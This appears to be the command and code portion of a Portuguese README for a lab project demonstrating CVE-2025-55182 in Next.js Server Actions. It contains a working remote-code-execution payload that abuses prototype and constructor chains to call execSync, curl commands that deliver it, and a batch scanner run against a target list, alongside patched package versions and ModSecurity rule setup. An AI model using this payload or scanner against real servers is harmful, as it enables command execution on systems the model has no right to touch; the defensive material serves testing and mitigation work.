npm install
# ou
yarn install
# ou
pnpm install

npm run dev

# Teste em um único alvo
./test-exploit.sh http://localhost:3000

# Ou use curl diretamente
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

.
├── app/
│   ├── actions.ts              # Server Actions (ponto de gatilho da vulnerabilidade)
│   ├── page.tsx                # Página principal
│   ├── layout.tsx              # Layout
│   └── globals.css             # Estilos globais
├── package.json                # Configuração de dependências (usa versões vulneráveis)
├── next.config.js              # Configuração do Next.js
├── test-exploit.sh             # Script de teste de vulnerabilidade para alvo único
├── scan-targets.sh             # Script de varredura em lote
├── exploit-payload.txt         # Arquivo de payload de exploração
├── Cve-2025-55182-modsecurity-rules.conf      # Regras de proteção ModSecurity
└── README.md                   # Este arquivo

chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

# Crie um arquivo de lista de alvos
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# Execute a varredura em lote
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

{
  "then": "$1:__proto__:then",           // Sequestra o método then
  "status": "resolved_model",             // Controla o caminho de execução
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // Aciona a desserialização de Blob
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // Sequestra para Function
    }
  }
}

npm install [email protected] [email protected] [email protected]

# 1. Instalar mod_security
sudo apt-get install libapache2-mod-security2

# 2. Copiar o arquivo de regras
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. Incluir as regras na configuração do Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# Adicionar: Include /etc/modsecurity/modsecurity-rules.conf

# 4. Reiniciar o Apache
sudo systemctl restart apache2

# 1. Instalar ModSecurity para Nginx
sudo apt-get install libnginx-mod-security

# 2. Copiar o arquivo de regras
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. Ativar na configuração do Nginx
sudo vim /etc/nginx/nginx.conf
# No bloco http ou server adicione:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. Reiniciar o Nginx
sudo systemctl restart nginx

curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt